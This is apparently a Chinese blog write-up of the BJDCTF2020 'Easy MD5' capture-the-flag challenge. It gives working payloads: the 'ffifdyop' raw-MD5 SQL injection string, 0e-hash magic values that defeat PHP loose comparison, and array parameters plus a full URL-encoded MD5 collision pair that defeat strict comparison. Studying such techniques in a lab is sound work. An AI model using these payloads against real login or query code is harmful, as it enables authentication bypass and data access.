[BJDCTF2020]Easy MD5

该题的考点:

1.MD5类型的sql注入字符串:ffifdyop;针对sql语句中的MD5解密绕过

2.MD5弱类型比较:常见MD5值为0e开头的字符串:常见的MD5碰撞:md5值为0e开头_md5 0e-CSDN博客

3.MD5强类型比较:数组绕过或强类型碰撞

强类型碰撞的字符串:

字符串1:

M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

字符串2:
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

题目地址a65ab9cc-4596-447b-b0b3-2d10002831cb.node5.buuoj.cn:81/leveldo4.php

进入题目发现是一个输入框,查看源码没发现什么东西;随便输入一个密码提交发现没啥变化

通过bp抓包发现了后台的检测代码;必须满足password=md5($pass,true)为真才会有输出;

到这里就懵了,看了别人的wp才发现原来还有这样的字符串:ffifdyop

关于该字符串的详解:ffifdyop——绕过中一个奇妙的字符串 - 你知道是我的 - 博客园 (cnblogs.com)

该字符串经过md5加密后:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or'6<乱码>  即  'or'6�]��!r,��b

刚好可以构成一个sql注入的语句 'or'6;这里真的太神奇了

通过将密码改为ffifdyop发现直接得到了返回信息;但是还没完;

通过访问提示的文件到达了另一个页面;源码中有了对应的提示信息;

这里考察的是MD5的弱类型匹配==;即对于两个以数字开头的字符串进行比较时会以数字为比较值;如0e==0为true;123afdsf==123fejifieji为true;那这里直接找两个MD5值为相同开头的就好了;我这里用的是MD5值为0e开头的字符串;a=QNKCDZO;b=240610708

MD5值为0e开头的字符串:常见的MD5碰撞:md5值为0e开头_md5 0e-CSDN博客

又给了一个提示文件;再去访问一下该文件;

这里有给出了一段源码;这里用的是===;明显是考察MD5值的强类型绕过;由于对于输入没有进行处理;所以这里有两种方法:数组绕过或者MD5值的强碰撞绕过

数组绕过原理:MD5只能对字符串进行处理;无法解析数组;因此会直接返回为NULL;

构造payload:param1[]=1&param2[]=2

得到了flag值

第二种就是直接MD5强类型碰撞;找两个MD5值相等的不同字符串;上网百度了一下还真有;

M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

构造payload:

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

同样得到了flag

10

  • 11
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值